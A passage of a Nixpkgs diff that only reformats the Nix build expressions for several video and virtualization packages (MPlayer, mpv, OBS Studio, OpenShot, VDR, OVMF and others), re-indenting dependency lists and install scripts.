+  ++ lib.optional alsaSupport alsa-lib
+  ++ lib.optional xvSupport libXv
+  ++ lib.optional theoraSupport libtheora
+  ++ lib.optional cacaSupport libcaca
+  ++ lib.optional xineramaSupport libXinerama
+  ++ lib.optional dvdnavSupport libdvdnav
+  ++ lib.optional dvdreadSupport libdvdread
+  ++ lib.optional bluraySupport libbluray
+  ++ lib.optional cddaSupport cdparanoia
+  ++ lib.optional jackaudioSupport libjack2
+  ++ lib.optionals amrSupport [
+    amrnb
+    amrwb
+  ]
+  ++ lib.optional x264Support x264
+  ++ lib.optional pulseSupport libpulseaudio
+  ++ lib.optional screenSaverSupport libXScrnSaver
+  ++ lib.optional lameSupport lame
+  ++ lib.optional vdpauSupport libvdpau
+  ++ lib.optional speexSupport speex
+  ++ lib.optional libpngSupport libpng
+  ++ lib.optional libjpegSupport libjpeg
+  ++ lib.optional bs2bSupport libbs2b
+  ++ lib.optional v4lSupport libv4l;
 
   configurePlatforms = [ ];
-  configureFlags =
-    [
-      "--enable-freetype"
-      (if fontconfigSupport then "--enable-fontconfig" else "--disable-fontconfig")
-      (if x11Support then "--enable-x11 --enable-gl" else "--disable-x11 --disable-gl")
-      (if xineramaSupport then "--enable-xinerama" else "--disable-xinerama")
-      (if xvSupport then "--enable-xv" else "--disable-xv")
-      (if alsaSupport then "--enable-alsa" else "--disable-alsa")
-      (if screenSaverSupport then "--enable-xss" else "--disable-xss")
-      (if vdpauSupport then "--enable-vdpau" else "--disable-vdpau")
-      (if cddaSupport then "--enable-cdparanoia" else "--disable-cdparanoia")
-      (if dvdnavSupport then "--enable-dvdnav" else "--disable-dvdnav")
-      (if bluraySupport then "--enable-bluray" else "--disable-bluray")
-      (if amrSupport then "--enable-libopencore_amrnb" else "--disable-libopencore_amrnb")
-      (if cacaSupport then "--enable-caca" else "--disable-caca")
-      (
-        if lameSupport then
-          "--enable-mp3lame --disable-mp3lame-lavc"
-        else
-          "--disable-mp3lame --enable-mp3lame-lavc"
-      )
-      (if speexSupport then "--enable-speex" else "--disable-speex")
-      (if theoraSupport then "--enable-theora" else "--disable-theora")
-      (if x264Support then "--enable-x264 --disable-x264-lavc" else "--disable-x264 --enable-x264-lavc")
-      (if jackaudioSupport then "" else "--disable-jack")
-      (if pulseSupport then "--enable-pulse" else "--disable-pulse")
-      (if v4lSupport then "--enable-v4l2 --enable-tv-v4l2" else "--disable-v4l2 --disable-tv-v4l2")
-      "--disable-xanim"
-      "--disable-xvid --disable-xvid-lavc"
-      "--disable-ossaudio"
-      "--disable-ffmpeg_a"
-      "--yasm=${buildPackages.yasm}/bin/yasm"
-      # Note, the `target` vs `host` confusion is intentional.
-      "--target=${stdenv.hostPlatform.config}"
-    ]
-    ++ lib.optional (useUnfreeCodecs && codecs != null && !crossBuild) "--codecsdir=${codecs}"
-    ++ lib.optional (stdenv.hostPlatform.isx86 && !crossBuild) "--enable-runtime-cpudetection"
-    ++ lib.optional fribidiSupport "--enable-fribidi"
-    ++ lib.optional (stdenv.hostPlatform.isLinux && !stdenv.hostPlatform.isAarch64) "--enable-vidix"
-    ++ lib.optional stdenv.hostPlatform.isLinux "--enable-fbdev"
-    ++ lib.optionals (crossBuild) [
-      "--enable-cross-compile"
-      "--disable-vidix-pcidb"
-      "--with-vidix-drivers=no"
-    ];
+  configureFlags = [
+    "--enable-freetype"
+    (if fontconfigSupport then "--enable-fontconfig" else "--disable-fontconfig")
+    (if x11Support then "--enable-x11 --enable-gl" else "--disable-x11 --disable-gl")
+    (if xineramaSupport then "--enable-xinerama" else "--disable-xinerama")
+    (if xvSupport then "--enable-xv" else "--disable-xv")
+    (if alsaSupport then "--enable-alsa" else "--disable-alsa")
+    (if screenSaverSupport then "--enable-xss" else "--disable-xss")
+    (if vdpauSupport then "--enable-vdpau" else "--disable-vdpau")
+    (if cddaSupport then "--enable-cdparanoia" else "--disable-cdparanoia")
+    (if dvdnavSupport then "--enable-dvdnav" else "--disable-dvdnav")
+    (if bluraySupport then "--enable-bluray" else "--disable-bluray")
+    (if amrSupport then "--enable-libopencore_amrnb" else "--disable-libopencore_amrnb")
+    (if cacaSupport then "--enable-caca" else "--disable-caca")
+    (
+      if lameSupport then
+        "--enable-mp3lame --disable-mp3lame-lavc"
+      else
+        "--disable-mp3lame --enable-mp3lame-lavc"
+    )
+    (if speexSupport then "--enable-speex" else "--disable-speex")
+    (if theoraSupport then "--enable-theora" else "--disable-theora")
+    (if x264Support then "--enable-x264 --disable-x264-lavc" else "--disable-x264 --enable-x264-lavc")
+    (if jackaudioSupport then "" else "--disable-jack")
+    (if pulseSupport then "--enable-pulse" else "--disable-pulse")
+    (if v4lSupport then "--enable-v4l2 --enable-tv-v4l2" else "--disable-v4l2 --disable-tv-v4l2")
+    "--disable-xanim"
+    "--disable-xvid --disable-xvid-lavc"
+    "--disable-ossaudio"
+    "--disable-ffmpeg_a"
+    "--yasm=${buildPackages.yasm}/bin/yasm"
+    # Note, the `target` vs `host` confusion is intentional.
+    "--target=${stdenv.hostPlatform.config}"
+  ]
+  ++ lib.optional (useUnfreeCodecs && codecs != null && !crossBuild) "--codecsdir=${codecs}"
+  ++ lib.optional (stdenv.hostPlatform.isx86 && !crossBuild) "--enable-runtime-cpudetection"
+  ++ lib.optional fribidiSupport "--enable-fribidi"
+  ++ lib.optional (stdenv.hostPlatform.isLinux && !stdenv.hostPlatform.isAarch64) "--enable-vidix"
+  ++ lib.optional stdenv.hostPlatform.isLinux "--enable-fbdev"
+  ++ lib.optionals (crossBuild) [
+    "--enable-cross-compile"
+    "--disable-vidix-pcidb"
+    "--with-vidix-drivers=no"
+  ];
 
   preConfigure = ''
     configureFlagsArray+=(
diff --git a/pkgs/applications/video/mpv/default.nix b/pkgs/applications/video/mpv/default.nix
index 4edc2c35c49e..8bb0d9277411 100644
--- a/pkgs/applications/video/mpv/default.nix
+++ b/pkgs/applications/video/mpv/default.nix
@@ -149,83 +149,81 @@ stdenv.mkDerivation (finalAttrs: {
 
   mesonAutoFeatures = "auto";
 
-  nativeBuildInputs =
-    [
-      addDriverRunpath
-      docutils # for rst2man
-      meson
-      ninja
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      buildPackages.darwin.sigtool
-      swift
-      makeWrapper
-    ]
-    ++ lib.optionals waylandSupport [ wayland-scanner ];
+  nativeBuildInputs = [
+    addDriverRunpath
+    docutils # for rst2man
+    meson
+    ninja
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    buildPackages.darwin.sigtool
+    swift
+    makeWrapper
+  ]
+  ++ lib.optionals waylandSupport [ wayland-scanner ];
 
-  buildInputs =
-    [
-      bash
-      ffmpeg
-      freetype
-      libass
-      libplacebo
-      libpthreadstubs
-      libuchardet
-      luaEnv
-      python3
-    ]
-    ++ lib.optionals alsaSupport [ alsa-lib ]
-    ++ lib.optionals archiveSupport [ libarchive ]
-    ++ lib.optionals bluraySupport [ libbluray ]
-    ++ lib.optionals bs2bSupport [ libbs2b ]
-    ++ lib.optionals cacaSupport [ libcaca ]
-    ++ lib.optionals cddaSupport [
-      libcdio
-      libcdio-paranoia
-    ]
-    ++ lib.optionals cmsSupport [ lcms2 ]
-    ++ lib.optionals drmSupport [
-      libdrm
-      libdisplay-info
-      libgbm
-    ]
-    ++ lib.optionals dvdnavSupport [
-      libdvdnav
-      libdvdnav.libdvdread
-    ]
-    ++ lib.optionals jackaudioSupport [ libjack2 ]
-    ++ lib.optionals javascriptSupport [ mujs ]
-    ++ lib.optionals openalSupport [ openalSoft ]
-    ++ lib.optionals pipewireSupport [ pipewire ]
-    ++ lib.optionals pulseSupport [ libpulseaudio ]
-    ++ lib.optionals rubberbandSupport [ rubberband ]
-    ++ lib.optionals sdl2Support [ SDL2 ]
-    ++ lib.optionals sixelSupport [ libsixel ]
-    ++ lib.optionals vaapiSupport [ libva ]
-    ++ lib.optionals vapoursynthSupport [ vapoursynth ]
-    ++ lib.optionals vdpauSupport [ libvdpau ]
-    ++ lib.optionals vulkanSupport [
-      shaderc
-      vulkan-headers
-      vulkan-loader
-    ]
-    ++ lib.optionals waylandSupport [
-      wayland
-      wayland-protocols
-      libxkbcommon
-    ]
-    ++ lib.optionals x11Support [
-      libX11
-      libXext
-      libGL
-      libXrandr
-      libXpresent
-      libXScrnSaver
-    ]
-    ++ lib.optionals zimgSupport [ zimg ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ nv-codec-headers-11 ];
+  buildInputs = [
+    bash
+    ffmpeg
+    freetype
+    libass
+    libplacebo
+    libpthreadstubs
+    libuchardet
+    luaEnv
+    python3
+  ]
+  ++ lib.optionals alsaSupport [ alsa-lib ]
+  ++ lib.optionals archiveSupport [ libarchive ]
+  ++ lib.optionals bluraySupport [ libbluray ]
+  ++ lib.optionals bs2bSupport [ libbs2b ]
+  ++ lib.optionals cacaSupport [ libcaca ]
+  ++ lib.optionals cddaSupport [
+    libcdio
+    libcdio-paranoia
+  ]
+  ++ lib.optionals cmsSupport [ lcms2 ]
+  ++ lib.optionals drmSupport [
+    libdrm
+    libdisplay-info
+    libgbm
+  ]
+  ++ lib.optionals dvdnavSupport [
+    libdvdnav
+    libdvdnav.libdvdread
+  ]
+  ++ lib.optionals jackaudioSupport [ libjack2 ]
+  ++ lib.optionals javascriptSupport [ mujs ]
+  ++ lib.optionals openalSupport [ openalSoft ]
+  ++ lib.optionals pipewireSupport [ pipewire ]
+  ++ lib.optionals pulseSupport [ libpulseaudio ]
+  ++ lib.optionals rubberbandSupport [ rubberband ]
+  ++ lib.optionals sdl2Support [ SDL2 ]
+  ++ lib.optionals sixelSupport [ libsixel ]
+  ++ lib.optionals vaapiSupport [ libva ]
+  ++ lib.optionals vapoursynthSupport [ vapoursynth ]
+  ++ lib.optionals vdpauSupport [ libvdpau ]
+  ++ lib.optionals vulkanSupport [
+    shaderc
+    vulkan-headers
+    vulkan-loader
+  ]
+  ++ lib.optionals waylandSupport [
+    wayland
+    wayland-protocols
+    libxkbcommon
+  ]
+  ++ lib.optionals x11Support [
+    libX11
+    libXext
+    libGL
+    libXrandr
+    libXpresent
+    libXScrnSaver
+  ]
+  ++ lib.optionals zimgSupport [ zimg ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ nv-codec-headers-11 ];
 
   # https://github.com/mpv-player/mpv/issues/15591#issuecomment-2764797522
   # In file included from ../player/clipboard/clipboard-mac.m:19:
@@ -240,35 +238,34 @@ stdenv.mkDerivation (finalAttrs: {
     popd
   '';
 
-  postInstall =
-    ''
-      # Use a standard font
-      mkdir -p $out/share/mpv
-      ln -s ${freefont_ttf}/share/fonts/truetype/FreeSans.ttf $out/share/mpv/subfont.ttf
+  postInstall = ''
+    # Use a standard font
+    mkdir -p $out/share/mpv
+    ln -s ${freefont_ttf}/share/fonts/truetype/FreeSans.ttf $out/share/mpv/subfont.ttf
 
-      pushd ../TOOLS
-      cp mpv_identify.sh umpv $out/bin/
-      popd
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      pushd $out/share/applications
+    pushd ../TOOLS
+    cp mpv_identify.sh umpv $out/bin/
+    popd
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    pushd $out/share/applications
 
-      sed -e '/Icon=/ ! s|mpv|umpv|g; s|^Exec=.*|Exec=umpv %U|' \
-        mpv.desktop > umpv.desktop
-      printf "NoDisplay=true\n" >> umpv.desktop
-      popd
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/Applications
-      cp -r mpv.app $out/Applications
+    sed -e '/Icon=/ ! s|mpv|umpv|g; s|^Exec=.*|Exec=umpv %U|' \
+      mpv.desktop > umpv.desktop
+    printf "NoDisplay=true\n" >> umpv.desktop
+    popd
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/Applications
+    cp -r mpv.app $out/Applications
 
-      # On macOS, many things won’t work properly unless `mpv(1)` is
-      # executed from the app bundle, such as spatial audio with
-      # `--ao=avfoundation`. This wrapper ensures that those features
-      # work reliably and also avoids shipping two copies of the entire
-      # `mpv` executable.
-      makeWrapper $out/Applications/mpv.app/Contents/MacOS/mpv $out/bin/mpv
-    '';
+    # On macOS, many things won’t work properly unless `mpv(1)` is
+    # executed from the app bundle, such as spatial audio with
+    # `--ao=avfoundation`. This wrapper ensures that those features
+    # work reliably and also avoids shipping two copies of the entire
+    # `mpv` executable.
+    makeWrapper $out/Applications/mpv.app/Contents/MacOS/mpv $out/bin/mpv
+  '';
 
   # Set RUNPATH so that libcuda in /run/opengl-driver(-32)/lib can be found.
   # See the explanation in addDriverRunpath.
diff --git a/pkgs/applications/video/mpv/scripts/buildLua.nix b/pkgs/applications/video/mpv/scripts/buildLua.nix
index b21df5478a3e..7e4b5b3882ce 100644
--- a/pkgs/applications/video/mpv/scripts/buildLua.nix
+++ b/pkgs/applications/video/mpv/scripts/buildLua.nix
@@ -76,32 +76,31 @@ lib.makeOverridable (
           runHook postInstall
         '';
 
-        passthru =
-          {
-            inherit scriptName;
-          }
-          // lib.optionalAttrs (runtime-dependencies != [ ]) {
-            extraWrapperArgs = [
-              "--prefix"
-              "PATH"
-              ":"
-              (lib.makeBinPath runtime-dependencies)
-            ] ++ args.passthru.extraWrapperArgs or [ ];
-          };
-        meta =
-          {
-            platforms = lib.platforms.all;
-          }
-          // (
-            let
-              pos =
-                if (args.meta or { }) ? description then
-                  builtins.unsafeGetAttrPos "description" args.meta
-                else
-                  builtins.unsafeGetAttrPos "pname" args;
-            in
-            lib.optionalAttrs (pos != null) { position = "${pos.file}:${toString pos.line}"; }
-          );
+        passthru = {
+          inherit scriptName;
+        }
+        // lib.optionalAttrs (runtime-dependencies != [ ]) {
+          extraWrapperArgs = [
+            "--prefix"
+            "PATH"
+            ":"
+            (lib.makeBinPath runtime-dependencies)
+          ]
+          ++ args.passthru.extraWrapperArgs or [ ];
+        };
+        meta = {
+          platforms = lib.platforms.all;
+        }
+        // (
+          let
+            pos =
+              if (args.meta or { }) ? description then
+                builtins.unsafeGetAttrPos "description" args.meta
+              else
+                builtins.unsafeGetAttrPos "pname" args;
+          in
+          lib.optionalAttrs (pos != null) { position = "${pos.file}:${toString pos.line}"; }
+        );
       }
     )
   )
diff --git a/pkgs/applications/video/mpv/scripts/videoclip.nix b/pkgs/applications/video/mpv/scripts/videoclip.nix
index ecfb427e2069..445f58cb98fb 100644
--- a/pkgs/applications/video/mpv/scripts/videoclip.nix
+++ b/pkgs/applications/video/mpv/scripts/videoclip.nix
@@ -19,15 +19,14 @@ buildLua {
     hash = "sha256-oanc9MggMjVDrSW42XrQwwWw2YTrifiCVrg/r42oGx8=";
   };
 
-  patchPhase =
-    ''
-      substituteInPlace platform.lua \
-      --replace \'curl\' \'${lib.getExe curl}\' \
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      --replace xclip ${lib.getExe xclip} \
-      --replace wl-copy ${lib.getExe' wl-clipboard "wl-copy"}
-    '';
+  patchPhase = ''
+    substituteInPlace platform.lua \
+    --replace \'curl\' \'${lib.getExe curl}\' \
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    --replace xclip ${lib.getExe xclip} \
+    --replace wl-copy ${lib.getExe' wl-clipboard "wl-copy"}
+  '';
 
   scriptPath = ".";
   passthru.scriptName = "videoclip";
diff --git a/pkgs/applications/video/mpv/wrapper.nix b/pkgs/applications/video/mpv/wrapper.nix
index 54fa65890b03..874aedb7c076 100644
--- a/pkgs/applications/video/mpv/wrapper.nix
+++ b/pkgs/applications/video/mpv/wrapper.nix
@@ -122,19 +122,18 @@ let
         ];
       };
 
-      postBuild =
-        ''
-          # wrapProgram can't operate on symlinks
-          rm "$out/bin/mpv"
-          makeWrapper "${mpv}/bin/mpv" "$out/bin/mpv" ${mostMakeWrapperArgs}
-          rm "$out/bin/umpv"
-          makeWrapper "${mpv}/bin/umpv" "$out/bin/umpv" ${umpvWrapperArgs}
-        ''
-        + lib.optionalString stdenv.hostPlatform.isDarwin ''
-          # wrapProgram can't operate on symlinks
-          rm "$out/Applications/mpv.app/Contents/MacOS/mpv"
-          makeWrapper "${mpv}/Applications/mpv.app/Contents/MacOS/mpv" "$out/Applications/mpv.app/Contents/MacOS/mpv" ${mostMakeWrapperArgs}
-        '';
+      postBuild = ''
+        # wrapProgram can't operate on symlinks
+        rm "$out/bin/mpv"
+        makeWrapper "${mpv}/bin/mpv" "$out/bin/mpv" ${mostMakeWrapperArgs}
+        rm "$out/bin/umpv"
+        makeWrapper "${mpv}/bin/umpv" "$out/bin/umpv" ${umpvWrapperArgs}
+      ''
+      + lib.optionalString stdenv.hostPlatform.isDarwin ''
+        # wrapProgram can't operate on symlinks
+        rm "$out/Applications/mpv.app/Contents/MacOS/mpv"
+        makeWrapper "${mpv}/Applications/mpv.app/Contents/MacOS/mpv" "$out/Applications/mpv.app/Contents/MacOS/mpv" ${mostMakeWrapperArgs}
+      '';
 
       meta = {
         inherit (mpv.meta)
diff --git a/pkgs/applications/video/mythtv/default.nix b/pkgs/applications/video/mythtv/default.nix
index 88f29a6f718c..4f38d13efc97 100644
--- a/pkgs/applications/video/mythtv/default.nix
+++ b/pkgs/applications/video/mythtv/default.nix
@@ -88,7 +88,8 @@ mkDerivation rec {
     soundtouch
     libzip
     libhdhomerun
-  ] ++ lib.optional withWebKit qtwebkit;
+  ]
+  ++ lib.optional withWebKit qtwebkit;
   nativeBuildInputs = [
     pkg-config
     which
diff --git a/pkgs/applications/video/obs-studio/default.nix b/pkgs/applications/video/obs-studio/default.nix
index c9e07022bcd0..11851e3d6ff9 100644
--- a/pkgs/applications/video/obs-studio/default.nix
+++ b/pkgs/applications/video/obs-studio/default.nix
@@ -99,62 +99,60 @@ stdenv.mkDerivation (finalAttrs: {
     ./fix-nix-plugin-path.patch
   ];
 
-  nativeBuildInputs =
-    [
-      addDriverRunpath
-      cmake
-      ninja
-      pkg-config
-      wrapGAppsHook3
-      wrapQtAppsHook
-    ]
-    ++ optional scriptingSupport swig
-    ++ optional cudaSupport autoAddDriverRunpath;
+  nativeBuildInputs = [
+    addDriverRunpath
+    cmake
+    ninja
+    pkg-config
+    wrapGAppsHook3
+    wrapQtAppsHook
+  ]
+  ++ optional scriptingSupport swig
+  ++ optional cudaSupport autoAddDriverRunpath;
 
-  buildInputs =
-    [
-      curl
-      ffmpeg
-      jansson
-      libjack2
-      libv4l
-      libxkbcommon
-      libpthreadstubs
-      libXdmcp
-      qtbase
-      qtsvg
-      speex
-      wayland
-      x264
-      libvlc
-      mbedtls
-      pciutils
-      librist
-      cjson
-      libva
-      srt
-      qtwayland
-      nlohmann_json
-      websocketpp
-      asio
-      libdatachannel
-      libvpl
-      qrcodegencpp
-      uthash
-      nv-codec-headers-12
-    ]
-    ++ optionals scriptingSupport [
-      luajit
-      python3
-    ]
-    ++ optional alsaSupport alsa-lib
-    ++ optional pulseaudioSupport libpulseaudio
-    ++ optionals pipewireSupport [
-      pipewire
-      libdrm
-    ]
-    ++ optional browserSupport cef
-    ++ optional withFdk fdk_aac;
+  buildInputs = [
+    curl
+    ffmpeg
+    jansson
+    libjack2
+    libv4l
+    libxkbcommon
+    libpthreadstubs
+    libXdmcp
+    qtbase
+    qtsvg
+    speex
+    wayland
+    x264
+    libvlc
+    mbedtls
+    pciutils
+    librist
+    cjson
+    libva
+    srt
+    qtwayland
+    nlohmann_json
+    websocketpp
+    asio
+    libdatachannel
+    libvpl
+    qrcodegencpp
+    uthash
+    nv-codec-headers-12
+  ]
+  ++ optionals scriptingSupport [
+    luajit
+    python3
+  ]
+  ++ optional alsaSupport alsa-lib
+  ++ optional pulseaudioSupport libpulseaudio
+  ++ optionals pipewireSupport [
+    pipewire
+    libdrm
+  ]
+  ++ optional browserSupport cef
+  ++ optional withFdk fdk_aac;
 
   # Copied from the obs-linuxbrowser
   postUnpack = lib.optionalString browserSupport ''
@@ -179,7 +177,8 @@ stdenv.mkDerivation (finalAttrs: {
     (lib.cmakeBool "ENABLE_PIPEWIRE" pipewireSupport)
     (lib.cmakeBool "ENABLE_AJA" false) # TODO: fix linking against libajantv2
     (lib.cmakeBool "ENABLE_BROWSER" browserSupport)
-  ] ++ lib.optional browserSupport "-DCEF_ROOT_DIR=../../cef";
+  ]
+  ++ lib.optional browserSupport "-DCEF_ROOT_DIR=../../cef";
 
   env.NIX_CFLAGS_COMPILE = toString [
     "-Wno-error=deprecated-declarations"
@@ -194,7 +193,8 @@ stdenv.mkDerivation (finalAttrs: {
         xorg.libX11
         libvlc
         libGL
-      ] ++ optionals decklinkSupport [ blackmagic-desktop-video ];
+      ]
+      ++ optionals decklinkSupport [ blackmagic-desktop-video ];
     in
     ''
       qtWrapperArgs+=(
diff --git a/pkgs/applications/video/obs-studio/plugins/obs-vkcapture.nix b/pkgs/applications/video/obs-studio/plugins/obs-vkcapture.nix
index 141bf70c2a2d..46ce30134852 100644
--- a/pkgs/applications/video/obs-studio/plugins/obs-vkcapture.nix
+++ b/pkgs/applications/video/obs-studio/plugins/obs-vkcapture.nix
@@ -42,21 +42,20 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
     wayland-scanner
   ];
-  buildInputs =
-    [
-      libGL
-      libffi
-      libX11
-      libXau
-      libXdmcp
-      libxcb
-      vulkan-headers
-      vulkan-loader
-      wayland
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isi686) [
-      obs-studio
-    ];
+  buildInputs = [
+    libGL
+    libffi
+    libX11
+    libXau
+    libXdmcp
+    libxcb
+    vulkan-headers
+    vulkan-loader
+    wayland
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isi686) [
+    obs-studio
+  ];
 
   postPatch = ''
     substituteInPlace src/glinject.c \
diff --git a/pkgs/applications/video/obs-studio/wrapper.nix b/pkgs/applications/video/obs-studio/wrapper.nix
index c093d64cf6c3..a5c8082501d0 100644
--- a/pkgs/applications/video/obs-studio/wrapper.nix
+++ b/pkgs/applications/video/obs-studio/wrapper.nix
@@ -30,7 +30,8 @@ symlinkJoin {
         "$out/bin/obs"
         ''--set OBS_PLUGINS_PATH "${pluginsJoined}/lib/obs-plugins"''
         ''--set OBS_PLUGINS_DATA_PATH "${pluginsJoined}/share/obs/obs-plugins"''
-      ] ++ lib.lists.unique pluginArguments;
+      ]
+      ++ lib.lists.unique pluginArguments;
     in
     ''
       ${lib.concatStringsSep " " wrapCommandLine}
diff --git a/pkgs/applications/video/openshot-qt/default.nix b/pkgs/applications/video/openshot-qt/default.nix
index 605bebb857a6..e3bfbb4a4042 100644
--- a/pkgs/applications/video/openshot-qt/default.nix
+++ b/pkgs/applications/video/openshot-qt/default.nix
@@ -35,14 +35,13 @@ mkDerivationWith python3.pkgs.buildPythonApplication {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      gtk3
-    ]
-    ++ lib.optionals waylandSupport [
-      qtwayland
-      wayland
-    ];
+  buildInputs = [
+    gtk3
+  ]
+  ++ lib.optionals waylandSupport [
+    qtwayland
+    wayland
+  ];
 
   propagatedBuildInputs = with python3.pkgs; [
     httplib2
@@ -65,18 +64,17 @@ mkDerivationWith python3.pkgs.buildPythonApplication {
   dontWrapGApps = true;
   dontWrapQtApps = true;
 
-  postFixup =
-    ''
-      wrapProgram $out/bin/openshot-qt \
-    ''
-    # Fix toolbar icons on Darwin
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      --suffix QT_PLUGIN_PATH : "${lib.getBin qtsvg}/${qtbase.qtPluginPrefix}" \
-    ''
-    + ''
-      "''${gappsWrapperArgs[@]}" \
-      "''${qtWrapperArgs[@]}"
-    '';
+  postFixup = ''
+    wrapProgram $out/bin/openshot-qt \
+  ''
+  # Fix toolbar icons on Darwin
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    --suffix QT_PLUGIN_PATH : "${lib.getBin qtsvg}/${qtbase.qtPluginPrefix}" \
+  ''
+  + ''
+    "''${gappsWrapperArgs[@]}" \
+    "''${qtWrapperArgs[@]}"
+  '';
 
   passthru = {
     inherit libopenshot;
diff --git a/pkgs/applications/video/pipe-viewer/default.nix b/pkgs/applications/video/pipe-viewer/default.nix
index 2c9c1d9b47fd..dbfb97a1e712 100644
--- a/pkgs/applications/video/pipe-viewer/default.nix
+++ b/pkgs/applications/video/pipe-viewer/default.nix
@@ -54,10 +54,11 @@ buildPerlModule rec {
 
   nativeBuildInputs = [ makeWrapper ] ++ lib.optionals withGtk3 [ wrapGAppsHook3 ];
 
-  buildInputs =
-    [ perlEnv ]
-    # Can't be in perlEnv for wrapGAppsHook3 to work correctly
-    ++ lib.optional withGtk3 Gtk3;
+  buildInputs = [
+    perlEnv
+  ]
+  # Can't be in perlEnv for wrapGAppsHook3 to work correctly
+  ++ lib.optional withGtk3 Gtk3;
 
   # Not supported by buildPerlModule
   # and the Perl code fails anyway
@@ -78,31 +79,30 @@ buildPerlModule rec {
     cp -r share/* $out/share
   '';
 
-  postFixup =
-    ''
-      wrapProgram "$out/bin/pipe-viewer" \
-        --prefix PATH : "${
-          lib.makeBinPath [
-            ffmpeg
-            mpv
-            wget
-            yt-dlp
-          ]
-        }"
-    ''
-    + lib.optionalString withGtk3 ''
-      # make xdg-open overrideable at runtime
-      wrapProgram "$out/bin/gtk-pipe-viewer" ''${gappsWrapperArgs[@]} \
-        --prefix PATH : "${
-          lib.makeBinPath [
-            ffmpeg
-            mpv
-            wget
-            yt-dlp
-          ]
-        }" \
-        --suffix PATH : "${lib.makeBinPath [ xdg-utils ]}"
-    '';
+  postFixup = ''
+    wrapProgram "$out/bin/pipe-viewer" \
+      --prefix PATH : "${
+        lib.makeBinPath [
+          ffmpeg
+          mpv
+          wget
+          yt-dlp
+        ]
+      }"
+  ''
+  + lib.optionalString withGtk3 ''
+    # make xdg-open overrideable at runtime
+    wrapProgram "$out/bin/gtk-pipe-viewer" ''${gappsWrapperArgs[@]} \
+      --prefix PATH : "${
+        lib.makeBinPath [
+          ffmpeg
+          mpv
+          wget
+          yt-dlp
+        ]
+      }" \
+      --suffix PATH : "${lib.makeBinPath [ xdg-utils ]}"
+  '';
 
   meta = with lib; {
     homepage = "https://github.com/trizen/pipe-viewer";
diff --git a/pkgs/applications/video/vdr/default.nix b/pkgs/applications/video/vdr/default.nix
index 0b80ad8186b2..508347ae8df7 100644
--- a/pkgs/applications/video/vdr/default.nix
+++ b/pkgs/applications/video/vdr/default.nix
@@ -29,24 +29,22 @@ stdenv.mkDerivation rec {
 
   postPatch = "substituteInPlace Makefile --replace libsystemd-daemon libsystemd";
 
-  buildInputs =
-    [
-      fontconfig
-      libjpeg
-      libcap
-      freetype
-      perl
-    ]
-    ++ lib.optional enableSystemd systemd
-    ++ lib.optional enableBidi fribidi;
+  buildInputs = [
+    fontconfig
+    libjpeg
+    libcap
+    freetype
+    perl
+  ]
+  ++ lib.optional enableSystemd systemd
+  ++ lib.optional enableBidi fribidi;
 
-  buildFlags =
-    [
-      "vdr"
-      "i18n"
-    ]
-    ++ lib.optional enableSystemd "SDNOTIFY=1"
-    ++ lib.optional enableBidi "BIDI=1";
+  buildFlags = [
+    "vdr"
+    "i18n"
+  ]
+  ++ lib.optional enableSystemd "SDNOTIFY=1"
+  ++ lib.optional enableBidi "BIDI=1";
 
   nativeBuildInputs = [ perl ];
 
diff --git a/pkgs/applications/virtualization/OVMF/default.nix b/pkgs/applications/virtualization/OVMF/default.nix
index bfb069f4e053..033b301b6e02 100644
--- a/pkgs/applications/virtualization/OVMF/default.nix
+++ b/pkgs/applications/virtualization/OVMF/default.nix
@@ -117,24 +117,23 @@ edk2.mkDerivation projectDscPath (finalAttrs: {
     "fd"
   ];
 
-  nativeBuildInputs =
-    [
-      util-linux
-      nasm
-      acpica-tools
-    ]
-    ++ lib.optionals stdenv.cc.isClang [
-      llvmPackages.bintools
-      llvmPackages.llvm
-    ]
-    ++ lib.optionals msVarsTemplate [
-      python3
-      pexpect
-      xorriso
-      qemu
-      dosfstools
-      mtools
-    ];
+  nativeBuildInputs = [
+    util-linux
+    nasm
+    acpica-tools
+  ]
+  ++ lib.optionals stdenv.cc.isClang [
+    llvmPackages.bintools
+    llvmPackages.llvm
+  ]
+  ++ lib.optionals msVarsTemplate [
+    python3
+    pexpect
+    xorriso
+    qemu
+    dosfstools
+    mtools
+  ];
   strictDeps = true;
 
   hardeningDisable = [
@@ -216,35 +215,34 @@ edk2.mkDerivation projectDscPath (finalAttrs: {
   # TODO: Usage of -bios OVMF.fd is discouraged: https://lists.katacontainers.io/pipermail/kata-dev/2021-January/001650.html
   # We should remove the isx86-specific block here once we're ready to update nixpkgs to stop using that and update the
   # release notes accordingly.
-  postInstall =
-    ''
-      mkdir -vp $fd/FV
-    ''
-    +
-      lib.optionalString
-        (builtins.elem fwPrefix [
-          "OVMF"
-          "AAVMF"
-          "RISCV_VIRT"
-          "LOONGARCH_VIRT"
-        ])
-        ''
-          mv -v $out/FV/${fwPrefix}_{CODE,VARS}.fd $fd/FV
-        ''
-    + lib.optionalString stdenv.hostPlatform.isx86 ''
-      mv -v $out/FV/${fwPrefix}.fd $fd/FV
-    ''
-    + lib.optionalString msVarsTemplate ''
-      mv -v $out/FV/${fwPrefix}_VARS.ms.fd $fd/FV
-      ln -sv $fd/FV/${fwPrefix}_CODE{,.ms}.fd
-    ''
-    + lib.optionalString stdenv.hostPlatform.isAarch ''
-      mv -v $out/FV/QEMU_{EFI,VARS}.fd $fd/FV
-      # Add symlinks for Fedora dir layout: https://src.fedoraproject.org/rpms/edk2/blob/main/f/edk2.spec
-      mkdir -vp $fd/AAVMF
-      ln -s $fd/FV/AAVMF_CODE.fd $fd/AAVMF/QEMU_EFI-pflash.raw
